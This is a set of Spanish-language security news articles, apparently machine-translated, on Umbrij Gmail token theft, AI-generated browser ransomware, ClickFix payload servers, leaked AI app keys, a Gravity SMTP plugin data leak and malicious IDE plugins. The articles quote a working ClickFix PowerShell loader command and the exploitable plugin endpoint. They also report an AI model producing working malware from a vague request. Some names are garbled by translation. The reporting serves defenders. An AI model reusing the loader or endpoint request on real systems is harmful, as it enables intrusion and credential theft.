El malware Umbrij vinculado a ToddyCat abusa de OAuth para acceder a Gmail a través de la API de Google – CYBERDEFENSA.MX

El actor de amenazas conocido como toddygato se ha atribuido a un nuevo malware llamado Umbrij que está diseñado para obtener acceso subrepticio a la correspondencia de correo electrónico de una víctima a través de la API de Google.

«En esta campaña, los atacantes centraron su atención en las comunicaciones corporativas por correo electrónico alojadas en Gmail, apuntando a comprometer el acceso a través de API», Kaspersky dicho en un informe detallado publicado esta semana. «Debido a que la API de Google se basa en el protocolo OAuth 2.0 para la autorización, las aplicaciones pueden usar un token OAuth para acceder a los recursos de correo electrónico solicitados».

Se dice que el adversario desarrolló Umbrij para adquirir este token y usarlo para conectarse a la consola de administración del navegador en modo sin cabeza a través de un puerto de depuración remota.

Posteriormente, se emitieron una serie de solicitudes para obtener un código de autorización OAuth, que luego se intercambió por un token de acceso para llegar a los recursos de destino a través de la API. La técnica ha recibido el nombre en código. Token de sombra a través de depuración remota (STRD) del proveedor ruso de ciberseguridad.

Lo notable del ataque es que es viable en navegadores basados ​​en Chromium y explota una sesión activa de Gmail. En otras palabras, la idea es iniciar el navegador en modo sin cabezaconéctese a través del puerto de depuración remota para tomar el control y aproveche una sesión de Gmail ya iniciada para obtener acceso a los recursos de la cuenta de Google.

Se han descubierto tres versiones diferentes de Umbrij, incluidas versiones que cuentan con funciones auxiliares para depurar y buscar y seleccionar cuentas de usuario dentro del navegador.

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ToddyCat es el nombre asignado a una amenaza persistente avanzada (APT) que tiene un historial de atacar a varias organizaciones en Europa y Asia desde al menos 2020. En noviembre de 2025, Kaspersky detalló el uso por parte del grupo de piratería de una herramienta personalizada denominada TCSectorCopy para acceder a los datos de correo electrónico de Microsoft Outlook que pertenecen a las empresas objetivo.

La compañía de ciberseguridad dijo que descubrió a Umbrij durante lo que describió como una «operación de búsqueda de amenazas», como parte de la cual se utilizó una tarea programada que se hacía pasar por su software («KasperskyEndpointSecurityEDRAvp») para lanzar un archivo firmado digitalmente. El archivo firmado luego empleó Carga lateral de DLL para lanzar Umbrij.

Para realizar esta tarea, se abusó de tres archivos binarios legítimos susceptibles a la carga lateral de DLL:

  • BDSubWiz.exeun componente del Asistente de envío en Bitdefender ConnectAgent
  • VSTestVideoRecorder.exeun componente de la herramienta de grabación de vídeo utilizada para realizar pruebas con Microsoft Visual Studio
  • GoogleDesktop.exeuna aplicación discontinuada de Google Desktop Search que se utiliza para indexar archivos y realizar búsquedas rápidas en una computadora local con Windows

Independientemente del ejecutable utilizado, el resultado final es el mismo: iniciar la DLL Umbrij escrita en .NET y ofuscada con ConfuserEx, un ofuscador de código abierto. La herramienta también se puede invocar junto con parámetros de línea de comandos que especifican a qué navegadores apuntar (Google Chrome o Microsoft Edge), le indican que guarde una captura de pantalla del perfil del usuario como un archivo PDF y proporcionan el nombre de usuario del sistema bajo el cual se ejecutará la herramienta.

Diagrama de flujo de trabajo de Umbrij

Umbrij, una vez iniciado, realiza una serie de acciones preparatorias en un host de Windows comprometido para violar la cuenta de Gmail.

  • Verifique la disponibilidad del puerto que se designará para la depuración del navegador.
  • Recupere el contexto del usuario buscando el proceso «explorer.exe» y duplicando el token del primer proceso que encuentre para conservar todos los privilegios del usuario que ha iniciado sesión. Alternativamente, el usuario El interruptor se puede utilizar junto con la herramienta para especificar el usuario objetivo cuyo token debe duplicarse.
  • Construya la ruta a la carpeta de la aplicación del navegador web dentro del repositorio de datos de la aplicación local del usuario y luego analice el archivo de estado local correspondiente a Chrome o Edge para recopilar información sobre los perfiles de usuario del navegador almacenados.
  • Enumere todos los perfiles y escanéelos en busca de un campo llamado «nombre_usuario» que incluya una dirección de correo electrónico. Vale la pena señalar que la presencia de una dirección de correo electrónico indica que el usuario está autenticado en un servicio de Google.
  • Cree un directorio llamado «BackupFiles» dentro de «%LOCALAPPDATA%\Google\Chrome\» y «%LOCALAPPDATA%\Microsoft\Edge\».
  • Copie los siguientes archivos y carpetas de cada destino. perfil de usuario en ellos: IndexedDB, Almacenamiento local, Red, Datos de inicio de sesión, Datos de inicio de sesión para cuenta, Preferencias, Preferencias seguras y Datos web. En caso de que otros procesos bloqueen estos archivos, la herramienta incluye un mecanismo de copia forzada.
  • Busque en las carpetas «Archivos de programa» y «Archivos de programa (x86)» la carpeta de instalación del navegador Chrome y Edge.
  • Inicie los navegadores en modo sin cabeza utilizando el perfil de usuario copiado en la carpeta «BackupFiles», lo que hace que el navegador aplique todas las cookies del usuario activo, incluida la cuenta de Google que inició sesión, y omita la autenticación.
  • Usar Titiriterouna biblioteca de JavaScript utilizada para controlar los navegadores basados ​​en Chromium a través del protocolo Chrome DevTools, para conectarse al puerto de depuración remota y enviar una solicitud de código de autorización para dirigir el navegador a «accounts.google[.]com/o/oauth2/v2/auth/identifier» URL que contiene un «client_id» que corresponde a un herramienta de migración se utiliza para importar archivos PST locales y datos de cuentas de Microsoft Exchange a una cuenta de Google Workspace. La solicitud HTTP GET también especifica el conjunto de permisos requeridos por la aplicación. Utilice JavaScript para emular eventos de clic del mouse para seleccionar la cuenta de Google adecuada después de navegar a la URL y otorgarle los permisos necesarios, incluido el acceso completo a Gmail, Drive, Contactos, Calendario y Tareas.
  • Redirija la sesión del navegador a una dirección local especificada en la solicitud inicial y extraiga de ella el código de autorización OAuth.
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«Umbrij, como la mayoría de las otras herramientas del arsenal de ToddyCat, registra sus acciones en detalle y las guarda en un archivo», dijo Kaspersky. «También guarda el código de autorización recuperado en este archivo de registro, que posteriormente el operador extrae del host comprometido».

«El código de autorización adquirido luego se intercambia por un token de acceso OAuth. Los actores de amenazas usan ese token para conectarse a la cuenta de Gmail a través de la API, comprometiendo así las comunicaciones corporativas por correo electrónico».

Para contrarrestar la amenaza, se recomienda revisar los códigos de autorización otorgados a las aplicaciones navegando a «myaccount.google».[.]com/connections» y luego busque aplicaciones llamadas «Google Workspace Migration for Microsoft Outlook» o «Google Workspace Sync for Microsoft Outlook». Si cualquiera de esas aplicaciones está presente y no se utiliza realmente dentro de la organización, es esencial revocar su acceso para invalidar los tokens de OAuth.

«El grupo ToddyCat APT continúa buscando formas de comprometer las comunicaciones corporativas por correo electrónico», dijo Andrey Gunkin, analista senior de malware de Kaspersky. «Su nueva herramienta, Umbrij, automatiza los intentos de los atacantes de obtener acceso a las cuentas de correo electrónico de la organización. Esta automatización no sólo ayuda a aumentar la escala y la frecuencia de sus ataques sino que también demuestra la fuerte motivación y las habilidades técnicas avanzadas de ToddyCat».

El ransomware de navegador generado por IA abusa de la API de Chromium en Windows y Android – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han marcado un nuevo artefacto de malware generado utilizando DeepSeek que construyó una ruta de ataque novedosa que combina «conceptos de malware de navegador poco realistas con una capacidad real del navegador» para convertirlo en una técnica de ransomware funcional que se ejecuta completamente dentro del navegador en dispositivos Windows y Android.

«Este es el primer caso documentado en el que un modelo de inteligencia artificial de frontera cerró de forma independiente la brecha entre un riesgo teórico de ransomware exclusivo del navegador y una cadena de ataque práctica y funcional, lo que reveló una ruta de ataque novedosa que los defensores habían descartado anteriormente como inviable debido a los límites del espacio aislado del navegador», dijo Check Point en un comunicado compartido con The Hacker News.

«La experiencia necesaria para descubrir una nueva ruta de ataque ya no es el cuello de botella, y los defensores deben tener en cuenta ese cambio ahora, antes de que los actores de amenazas lo pongan en práctica a escala».

La muestra identificada es una aplicación Python Flask llamada «deepseek_python_20260125_da0631.py» que se subió a VirusTotal el 25 de enero de 2026, y el servicio de escaneo de malware propiedad de Google lo describió como un «kit de herramientas de ransomware y ladrón de información completamente funcional». InfernoGrabber v9.0 del autor del malware.

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La aplicación está diseñada para funcionar como un servidor web malicioso que atrae a las víctimas con un escalador de IA de avatar de Discord falso, mientras ejecuta sigilosamente una amplia gama de acciones dañinas, incluido el robo de tokens de Discord, la recopilación de números de tarjetas de crédito y frases iniciales de criptomonedas, el registro de pulsaciones de teclas y la captura de transmisiones de micrófonos y cámaras web no autorizadas.

«El código incluye rutinas específicas para la explotación del navegador (dirigidas a CVE como CVE-2023-4863), exfiltración de datos a través de un webhook de Discord codificado, una pantalla de ransomware ‘WinLocker’ que exige Bitcoin y un panel administrativo para que el atacante administre los datos robados», según VirusTotal.

Los hallazgos se producen mientras la inteligencia artificial y los grandes modelos de lenguaje (LLM) están redefiniendo el panorama de las amenazas cibernéticas, permitiendo a los actores de amenazas abusar de la tecnología para desarrollar malware y exploits. El uso de DeepSeek es digno de mención, ya que indica que los modelos de la compañía china tienen tasas de rechazo más bajas para solicitudes cibernéticas maliciosas en comparación con sus homólogos occidentales de Anthropic, Google u OpenAI.

Otros factores que pueden haber facilitado el uso de DeepSeek son su acceso gratuito a través de la interfaz web, su disponibilidad en regiones donde no operan otros modelos fronterizos y su capacidad para generar una aplicación maliciosa funcional a partir de un «único mensaje amplio» a diferencia de los modelos de Anthropic u OpenAI.

«Los modelos DeepSeek pueden convertir ideas maliciosas de alto nivel en ataques concretos y completos con menos experiencia que las plataformas de la competencia», afirmó Check Point Research.

La empresa israelí de ciberseguridad dijo que descubrió el artefacto Python como parte de su análisis de unos 3.000 archivos atribuidos a DeepSeek durante el año pasado. De ellas, 1.383 muestras han sido clasificadas como maliciosas o peligrosas. El malware Python es un ejemplo de lo que se llama In-Browser Ransomware que implementa una técnica nativa del navegador que no se encontraba en campañas del mundo real en el pasado. Se desconoce el mensaje exacto que se utilizó para producir la muestra.

La técnica de ataque implica el uso de un señuelo de phishing para engañar a un usuario para que conceda acceso al sistema de archivos de una página web, que luego enumera los archivos locales en la carpeta seleccionada, lee y filtra su contenido, los cifra y sobrescribe, y finalmente muestra una nota de extorsión a la víctima. Lo que hace que esto sea más inusual es que todo esto se puede lograr sin instalar una carga útil nativa, explotar una vulnerabilidad del navegador o requerir acceso de root.

Vale la pena mencionar aquí que el enfoque se limita a los navegadores web que exponen el selector basado en API de acceso al sistema de archivos. Esto incluye Google Chrome y otros navegadores basados ​​en Chromium en los sistemas operativos Windows y Android. No hay evidencia de que se haya abusado del patrón de ransomware nativo del navegador en la naturaleza.

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Otro aspecto preocupante del desarrollo asistido por IA es que no sólo reduce la barrera para que los malos actores generen código ofensivo, sino también el hecho de que ni siquiera necesitan saber que existe dicha API de acceso al sistema de archivos, ni tener la experiencia técnica para abusar de ella.

Dicho de otra manera, ingresar un mensaje demasiado amplio es suficiente para que un LLM (sujeto a barreras de seguridad, o a la falta de ellas) formule un plan de ataque funcional a partir de una solicitud maliciosa abstracta. Cuando un usuario con conocimientos técnicos limitados describe requisitos poco realistas, el modelo, en su búsqueda por satisfacerlos, puede generar resultados alucinantes, sacando a la luz técnicas inusuales en el proceso.

«Lo que estamos presenciando es un cambio fundamental en cómo nacen los nuevos ciberataques. Por primera vez, tenemos evidencia de que un modelo de IA puede razonar de forma independiente a través de características legítimas de la plataforma y sacar a la luz una técnica de ataque funcional sobre la cual los humanos sólo habían teorizado, sin que el atacante supiera que existía la API subyacente», dijo en un comunicado Eli Smadja, jefe de investigación de Check Point Research.

«La barrera para poner en práctica ataques complejos se está derrumbando, y eso tiene profundas implicaciones para cada organización que incorpora IA en sus flujos de trabajo, y para cada usuario móvil que ahora lleva toda su vida personal y profesional dentro de una biblioteca de fotos. El futuro de la seguridad de la IA no puede descansar en la esperanza de que los modelos rechacen la solicitud maliciosa obvia; debe asumir que la siguiente técnica de ataque será descubierta no por un investigador humano, sino por una alucinación de la IA que accidentalmente hizo algo bien».

Smadja también insta a las organizaciones a prepararse fortaleciendo la capa de entrega, reconsiderando la confianza basada en permisos y tratando cada mensaje del navegador como una decisión de seguridad.

Un investigador analiza 3000 cargas útiles de Live ClickFix, exponiendo la entrega de malware impulsada por API – CYBERDEFENSA.MX

Hacer clic en arreglarel truco que engaña a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office.

Una nueva investigación muestra que los comandos maliciosos detrás de sus páginas falsas de «demuestra que eres humano» ahora son distribuidos por servidores basados ​​en API que le dan a cada visitante el mismo malware con un disfraz diferente. La misma investigación también reveló un nuevo método de entrega creado para eludir el escaneo de scripts de Windows.

El investigador de seguridad Bert-Jan Pals desmontó varias plataformas ClickFix y analizó aproximadamente 3000 cargas útiles de campañas en vivo. Presentó los hallazgos en naranjacon a principios de junio y publicó los detalles el 30 de junio.

ClickFix es simple por diseño. Una página con trampa explosiva muestra un CAPTCHA falso o un error, JavaScript oculto coloca un comando en su portapapeles y la página le indica que presione una combinación de teclas, pegue y presione Enter. Usted mismo ejecuta el malware.

Por lo general, no hay ningún exploit en el primer paso y, a menudo, no hay ningún archivo que los antivirus tradicionales puedan marcar, por lo que los controles convencionales de correo electrónico y terminales tienen menos que detectar.

Funciona lo suficientemente bien como para que ESET mida un 517% salto desde finales de 2024 hasta la primera mitad de 2025, y Microsoft Informe de defensa digital 2025 lo sitúa en el 47% de los casos de acceso inicial vistos por su equipo de Defender Experts.

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La técnica ahora tiene su propia entrada en MITRE ATT&CK, T1204.004.

Cargas útiles hechas a pedido

La parte nueva es cómo se producen las cargas útiles. Pals descubrió que las páginas extraían sus comandos de servidores backend que funcionan como un servicio bajo demanda: aceptan solicitudes, verifican un token de acceso, registran a la persona que llama y devuelven un comando recién codificado cada vez.

Le pidió a un servidor 100 cargas útiles y obtuvo 100 diferentes, envueltas en una mezcla rotativa de Base64, AES, TripleDES, Rijndael y Deflate. Quite el envoltorio y, al menos por ahora, todos se descomprimirán en el mismo script, que se ejecuta en la memoria a través de un espacio de ejecución de PowerShell.

El disfraz es desechable; el malware que contiene no lo es, aunque Pals advierte que la carga principal probablemente comenzará a cambiar según la víctima en poco tiempo. La misma plataforma sirve señuelos en 25 idiomas y hace coincidir el comando con el sistema operativo del visitante, con versiones de macOS ejecutándose junto con Windows.

La etiqueta «como servicio» no es sólo marca. ESET ha rastreado a delincuentes que venden constructores ClickFix ya preparados a otros atacantes. Pals encontró una comercialización paralela un nivel más profundo, en cómo cada carga útil se produce a pedido.

Una forma más silenciosa de entrar: el método de la carpeta de Descargas

El segundo hallazgo es una respuesta directa a los defensores que miran el portapapeles. En lugar de copiar un comando malicioso, las páginas más nuevas copian uno que parece inofensivo.

La página descarga silenciosamente un archivo a la carpeta Descargas y el portapapeles recibe una breve línea de «orquestador» que mueve ese archivo, lo descomprime y ejecuta el script que contiene. Debido a que la línea pegada es solo ese orquestador y no la carga útil en sí, está diseñada para pasar por alto AMSI, la característica de Windows que permite que el antivirus analice los scripts antes de que se ejecuten. El código incorrecto se encuentra en el archivo descargado, a un lado. La línea del portapapeles observada tenía este aspecto:

powershell -C «$t=$env:TMP;Move-Item \»$HOME\Downloads\tmp.zip\» \»$t\7947.zip\»;tar -xf \»$t\7947.zip\» -C \»$t\»;conhost –headless powershell -ExecutionPolicy Bypass -File \»$t\tmp.ps1\» # \»* No soy un robot reCAPTCHA ID de verificación: 7947 *\»»

La ejecución también se ha vuelto sigilosa. El señuelo original de 2024 decía a la gente que presionara Windows+R y lo pegara en el cuadro Ejecutar. Una versión más nueva, común hasta 2025 y 2026, los dirige a Windows+X y a la Terminal de Windows. El uso de la terminal parece más común y, a diferencia del cuadro Ejecutar, no deja rastro en la clave de registro RunMRU que los investigadores normalmente verifican.

ClickFix dejó de ser una herramienta exclusiva para delincuentes hace un tiempo. Punto de prueba vincularon a grupos respaldados por estados de Rusia, Irán y Corea del Norte, incluidos APT28, MuddyWater y Kimsuky, a campañas que colocaron a ClickFix en sus cadenas de infección existentes, y equipos norcoreanos crearon una versión de «entrevista ClickFake» de trabajo falso para afectar a los trabajadores de criptomonedas.

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El truco ha generado parientes nombrados como FileFix y DescargarReparar que se apoyan en otras herramientas confiables de Windows. La escala tampoco es teórica: la empresa de seguridad Expel encontró una ola de ClearFake que probablemente infectó hasta 147.521 sistemas desde finales de agosto de 2025.

Lo que los defensores deberían mirar

La lección defensiva no ha cambiado. Los detalles tienen. Las señales confiables son cadenas de procesos, no texto del portapapeles: explorador.exe o WindowsTerminal.exe lanzamiento powershell.exe, cmd.exeo msiexec.exe y comunicarse con la red inmediatamente después.

Esos fueron los lanzadores más comunes en los datos de Pals, con PowerShell y cmd empatados en aproximadamente un 39% cada uno y msiexec muy cerca con un 34%.

El EDR de comportamiento, las reglas de control de aplicaciones que limitan qué programas pueden llamar a intérpretes de secuencias de comandos y la guía sencilla para el usuario («nunca pegue un comando que le dijeron que ejecutara en el cuadro Ejecutar o en una terminal») todavía se mantienen. El método de la carpeta de Descargas agrega una cosa más para buscar: una frase de apariencia inocente que toca la carpeta de Descargas y luego genera un PowerShell oculto.

Pals también enumeró tres servidores de carga útil vistos durante la investigación:

  • estrella cómica[.]latitud
  • bebé[.]cfd
  • merkantalolol[.]Asia

Una conexión con uno de estos no prueba infección. Significa que lo más probable es que un comando haya sido colocado en el portapapeles de alguien.

El veredicto de Pals sobre esta técnica es contundente: «ClickFix llegó para quedarse». El patrón en su investigación es que ClickFix cambia en el momento en que los defensores se ponen al día, y el paso de scripts únicos a servidores de carga útil bajo demanda es lo que hace que esa adaptación sea barata de repetir.

Lo siguiente que vale la pena observar es si el malware en sí, y no sólo su envoltorio, comienza a cambiar de una víctima a otra.

282 aplicaciones de IA de iOS pierden claves API y abren acceso a proxy de IA en un estudio de tráfico de red – CYBERDEFENSA.MX

Los investigadores probaron 444 aplicaciones de chatbot de IA para iPhone y descubrieron que 282 de ellas, casi dos tercios, expusieron acceso pago a IA a través del tráfico de su red.

En muchos casos, la ruta de entrada era visible simplemente observando lo que enviaba la aplicación: una clave API de texto sin formato, un token reutilizable o un servidor backend que aceptaba solicitudes sin ninguna clave.

Quien lo obtenga puede enviar solicitudes de modelo a la cuenta del desarrollador, y el desarrollador paga la factura. Tres meses después de que los investigadores advirtieran a los desarrolladores, sólo el 28% lo había solucionado.

El trabajo, de investigadores de la Universidad Wake Forest, es el primer estudio en profundidad del problema en iOS. Es sorprendente en parte por el poco esfuerzo que requirió el espionaje. El equipo utilizó una herramienta que construyeron, LLMKeyLensque observa el tráfico de una aplicación y extrae las credenciales a medida que pasan. Sin jailbreak, sin abrir la aplicación.

La clave es el secreto que permite a la aplicación llamar a un servicio como OpenAI o Google Gemini. Insértelo en la aplicación y quedará expuesto con cada solicitud que realice la aplicación.

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Los 282 se clasificaron en uno de tres grupos:

  • Teclas de texto sin formato (54 aplicaciones): la clave se envía de forma abierta, legible desde una única solicitud capturada.
  • No se necesita clave (92 aplicaciones): la aplicación enruta las solicitudes a través de un servidor que responde a cualquiera, sin comprobar quién pregunta. Un relevo abierto a una cuenta AI paga.
  • Tokens reproducibles (136 aplicaciones, las más comunes): la aplicación entrega tokens de acceso temporales en lugar de la clave sin formato, el enfoque que se supone es más seguro, pero los tokens se filtran en el mismo tráfico y, por lo general, seguían siendo válidos cuando se capturaban. Algunos no fueron en absoluto temporales, como lo muestran los casos siguientes.

Para 28 de las 54 aplicaciones de texto sin formato, la misma solicitud también expuso el mensaje oculto del sistema de la aplicación, las instrucciones detrás de escena que definen lo que hace el asistente y cómo funciona el producto. Una captura, dos premios.

Las filtraciones abarcan al menos diez proveedores de IA, siendo OpenAI el más común, y abarcan 13 categorías de aplicaciones. Las aplicaciones de productividad fueron el grupo más grande; Las aplicaciones de salud y fitness tuvieron la tasa de fuga más alta. Las aplicaciones médicas y financieras, en particular, no filtraron nada. La mayoría de las aplicaciones afectadas eran pequeñas, pero no todas: una tenía más de dos millones de valoraciones de usuarios.

Esto no es dinero teórico. Las claves de IA robadas alimentan una práctica que la industria llama LLMjacking, donde los atacantes ejecutan las claves de otras personas para obtener acceso gratuito al modelo. Sysdig calculó el peor de los casos en el que las credenciales robadas podrían generar más de 46.000 dólares al día en cargos de inteligencia artificial.

Los investigadores notificaron a los 282 desarrolladores y esperaron tres meses. Sólo el 28% lo había solucionado claramente.

Otro 23% todavía estaba muy abierto; el acceso filtrado estaba funcionando. El resto se desconectó, se volvió inaccesible o devolvió errores. Las aplicaciones de tokens eran a menudo las peores: una aplicación popular, con más de 100.000 valoraciones, fijó su token de acceso para que expirara en el año 2125, un pase de cien años.

El token de una hora de otra aplicación todavía funcionaba 128 días después de haber expirado.

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La solución es un viejo consejo que pocos siguieron: no introduzcas la clave en la aplicación. Enrute las llamadas de IA a través de su propio servidor, haga que ese servidor verifique quién llama y revoque cualquier clave que ya se haya filtrado.

Los investigadores también quieren que los proveedores de inteligencia artificial etiqueten las claves del lado del cliente como inseguras en su documentación y marquen las claves que de repente son utilizadas por miles de dispositivos, y quieren que Apple revise esto durante la revisión de la App Store.

El patrón me resulta familiar. Un estudio de 2025, LM-exploradorencontró el mismo cableado de IA inseguro en aplicaciones de Android y automáticamente accedió a 120 de ellas. Una auditoría más grande, Aplicaciones con fugasextrajeron secretos de miles de aplicaciones de Android e iOS y descubrieron que los desarrolladores habitualmente no revocan las claves incluso después de eliminarlas, dejando las antiguas activas.

Otros han investigado el ecosistema de aplicaciones LLM más amplio para agujeros similares. La fiebre de la IA no ha cambiado el hábito. Ha aumentado la factura, porque ahora se carga una clave filtrada con el token.

Una advertencia: la cifra de dos tercios es un piso. Muchas aplicaciones bloquearon la interceptación por completo y el estudio cubre solo la App Store de EE. UU. a finales de 2025, por lo que la tasa real probablemente sea mayor.

Los piratas informáticos aprovechan el error del complemento Gravity SMTP de WordPress para exponer las claves API – CYBERDEFENSA.MX

Los actores de amenazas están explotando una falla de seguridad recientemente reparada que afecta a Gravity SMTP, un complemento de WordPress que está instalado en alrededor de 100.000 sitios.

La vulnerabilidad, rastreada como CVE-2026-4020 (Puntuación CVSS: 5,3), es una falla de divulgación de información de gravedad media que puede permitir a atacantes no autenticados extraer datos confidenciales, como datos de configuración, claves API, secretos y tokens OAuth configurados para las integraciones de correo electrónico del complemento.

«Esto se debe a un punto final de la API REST registrado en /wp-json/gravitysmtp/v1/tests/mock-data con un permiso_callback que incondicionalmente devuelve verdadero, permitiendo que cualquier visitante no autenticado acceda a él», Wordfence dicho.

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«Cuando se agrega el parámetro de consulta ?page=gravitysmtp-settings, el método Register_connector_data() del complemento completa los datos del conector interno, lo que hace que el punto final devuelva aproximadamente 365 KB de JSON que contiene el informe completo del sistema».

Como resultado, un atacante no autenticado puede utilizar este problema como arma para recuperar una amplia gama de información, que incluye:

  • versión PHP
  • Extensiones cargadas
  • Versión del servidor web
  • Ruta raíz del documento
  • Tipo y versión del servidor de base de datos
  • Versión de WordPress
  • Todos los complementos activos con versiones.
  • Tema activo
  • Detalles de configuración de WordPress
  • Nombres de tablas de base de datos
  • Claves/tokens API configurados en el complemento, como Amazon SES, Google, Mailjet, Resend y Zoho

Luego, los atacantes podrían aprovechar esta exposición para recopilar credenciales que podrían usarse de forma abusiva para enviar correos electrónicos en nombre del sitio, así como obtener detalles extensos de la pila de software del sitio, que podría actuar como base para ataques posteriores.

«Como ocurre con todas las vulnerabilidades de exposición de información confidencial, el impacto depende de los datos que estén expuestos», añadió Wordfence. «En este caso, la exposición de credenciales API de terceros en vivo significa que un atacante podría abusar de los servicios de correo electrónico conectados al sitio, mientras que el informe detallado del sistema reduce significativamente el esfuerzo requerido para planificar futuros ataques contra el sitio».

Se lanzó un parche para la vulnerabilidad en la versión 2.1.5 del complemento. Los malos actores ya se han aprovechado del defecto enviando solicitudes HTTP GET no autenticadas al punto final vulnerable de la API REST con el parámetro de consulta «?page=gravitysmtp-settings», lo que hace que el servidor devuelva información valiosa sobre el sitio sin requerir ninguna autenticación.

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Wordfence ha bloqueado más de 17 millones de intentos de explotación dirigidos a CVE-2026-4020 hasta la fecha, y la actividad inicial comenzó a principios de mayo de 2026 antes de aumentar drásticamente alrededor del 6 de junio de 2026, alcanzando un máximo de más de 4.000.000 de solicitudes un día después. Los esfuerzos de explotación se originaron en las siguientes direcciones IP:

  • 45.148.10.95
  • 193.32.162.60
  • 176.65.148.139
  • 173.199.90.188
  • 45.148.10.120
  • 185.8.107.155
  • 185.8.106.37
  • 185.8.106.92
  • 185.8.106.145
  • 176.65.148.30

Los propietarios de sitios que ejecutan una versión vulnerable del complemento Gravity SMTP y han configurado integraciones de correo electrónico de terceros deben asumir el compromiso y rotar las credenciales después de actualizar el complemento a la última versión lo antes posible. También se recomienda revisar los archivos de registro del servidor en busca de solicitudes que se originen en las direcciones IP antes mencionadas para detectar cualquier solicitud sospechosa al punto final de la API.

Los complementos maliciosos de JetBrains roban claves API de IA mientras las extensiones de Chrome capturan los chats de Chatbot – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han señalado una «campaña coordinada de malware» en JetBrains Marketplace que ha publicado no menos de 15 complementos maliciosos capaces de filtrar claves de proveedores de inteligencia artificial (IA).

«Cada complemento se presenta como un asistente de codificación de IA basado en DeepSeek y otros grandes modelos de lenguaje, que ofrece chat, confirmación de mensajes, revisión de código, búsqueda de errores y pruebas unitarias», dijo el investigador de Aikido Security, Ilyas Makari. dicho. «Funcionan exactamente como se anuncia. Sin embargo, la clave API del proveedor de IA que ingresa se filtra a un servidor controlado por el atacante».

Se dice que la actividad ha estado en curso desde finales de octubre de 2025, con nuevos complementos lanzados el 10 de junio de 2026. Dos de los complementos, CodeGPT AI Assistant y DeepSeek AI Assist, tienen más de 25.000 descargas cada uno, aunque no está claro si los recuentos son auténticos o si se han inflado para fingir su popularidad.

La lista completa de complementos se encuentra a continuación:

  • Prueba DeepSeek Junit (org.sm.yms.toolkit)
  • Confirmación de DeepSeek Git (com.json.simple.kit)
  • DeepSeek FindBugs (org.bug.find.tools)
  • Chat de IA de DeepSeek (org.translate.ai.simple)
  • DeepSeek Dev AI (com.yy.test.ai.simple)
  • Codificación de IA DeepSeek (com.dev.ai.toolkit)
  • AI FindBugs (com.json.view.simple)
  • Commitor AI Git (com.my.git.ai.kit)
  • Revisión del codificador de IA (org.check.ai.ds)
  • DeepSeek Coder AI (com.review.tool.code)
  • Asistente de codificación AI (org.code.assist.dev.tool)
  • Revisión del código DeepSeek (com.coder.ai.dpt)
  • Asistente de IA CodeGPT (com.my.code.tools)
  • Asistencia de IA DeepSeek (ord.cp.code.ai.kit)
  • Herramienta sencilla de codificación (com.dp.git.ai.tool)

Aikido Security dijo que los 15 complementos comparten una base de código similar, lo que requiere que los usuarios abran el panel de configuración e ingresen una clave API para una IA como OpenAI, SiliconFlow o DeepSeek para poder llevar a cabo la funcionalidad prometida.

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Si bien los complementos funcionan según lo previsto, se ha descubierto que tienen la capacidad de desviar de forma encubierta la clave API proporcionada a un servidor remoto («39.107.60[.]51») bajo el control del atacante sobre una solicitud HTTP en formato de texto plano.

«Los complementos también ejecutan un nivel pago», dijo la compañía. «Después de que un usuario paga una pequeña tarifa a través del muro de donaciones integrado en el complemento, el servidor envía una clave API al cliente, y el complemento comienza a usar esa clave para sus llamadas de modelo en lugar de la suya propia, lo cual es extraño, ya que ningún operador legítimo simplemente le entregaría a un usuario una clave funcional y sin restricciones a un proveedor de IA pago».

Esto ha planteado la posibilidad de que los operadores detrás de la campaña probablemente estén compartiendo las claves API del proveedor de IA robadas con otros actores de amenazas como parte de un esquema de monetización ilícito, convirtiéndolo efectivamente en un servicio que otorga a los usuarios de pago acceso al proveedor de IA de la víctima.

«El operador cobra el dinero por un lado y las credenciales gratuitas por el otro, mientras que los auténticos propietarios de claves pagan la factura», añadió Makari.

La campaña es una prueba más de cómo los actores de amenazas son apuntando cada vez más a entornos de desarrollo a través del ecosistema de código abierto, que se ha convertido en un objetivo lucrativo debido al hecho de que alojan código fuente, credenciales de nube, claves de firma y claves API para servicios de inteligencia artificial pagos que pueden revenderse para esquemas de secuestro de LLM.

«Trate un complemento de la misma manera que trataría cualquier dependencia que se ejecute con sus privilegios, y tenga cuidado al pegar secretos de larga duración en herramientas que no haya examinado», dijo Aikido Security.

Extensiones maliciosas de Chrome roban conversaciones de IA

El desarrollo coincide con el descubrimiento de dos extensiones de bloqueador de anuncios de Google Chrome que han sido capturadas capturando conversaciones de los usuarios con chatbots de IA como OpenAI ChatGPT, Anthropic Claude, Google Gemini, Microsoft Copilot, Perplexity, DeepSeek, xAI Grok y Meta AI. La operación de recopilación de datos ha recibido el nombre en código Ladrón rápido por el investigador Jean-Marie R.

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Los nombres de las extensiones, que todavía están disponibles en Chrome Web Store, son los siguientes:

  • Smart Adblocker (ID: iojpcjjdfhlcbgjnpngcmaojmlokmeii) – 90.000 usuarios (publicado en octubre de 2022)
  • Adblock para navegador (ID: jcbjcocinigpbgfpnhlpagidbmlngnnn) – 10.000 usuarios (publicado en agosto de 2023)

«Aunque se presentan como bloqueadores de anuncios, las extensiones incluyen un motor de interceptación personalizado que registra conversaciones no públicas, uso de modelos y metadatos de nivel de cuenta de todas las principales plataformas de inteligencia artificial (ChatGPT, Claude, Gemini y otras)», dijo el investigador. «La operación utiliza listas de filtros públicas legítimas (EasyList, IDCAC) como cobertura funcional, proporcionando una verdadera utilidad de bloqueo de publicidad mientras ejecuta un canal de telemetría no revelado».

El hecho de que las dos extensiones existan desde hace varios años indica que las actualizaciones relacionadas con la IA se introdujeron en forma de actualizaciones de software.

Estos esfuerzos son parte de una técnica de ataque llamada Prompt Poaching. En los últimos meses, se ha observado que extensiones de navegador, tanto legítimas como maliciosas, adoptan este método para capturar sigilosamente chats de IA. Lo que no está claro es si estas prácticas violan las políticas de Google para las extensiones del navegador.

«Las extensiones interceptan el historial completo de conversaciones de IA, el uso del modelo y el nivel de suscripción de ocho plataformas, y transmiten estos datos a la infraestructura controlada por el operador sin notificar al usuario más allá de una cadena de consentimiento genérica de ‘Protección mejorada’», señaló el investigador.

Cisco parchea falla en la API REST de carga de trabajo segura CVSS 10.0 que permite el acceso a datos – CYBERDEFENSA.MX

Cisco ha implementado actualizaciones para una falla de seguridad de máxima gravedad que afecta la carga de trabajo segura y que podría permitir que un atacante remoto no autenticado acceda a datos confidenciales.

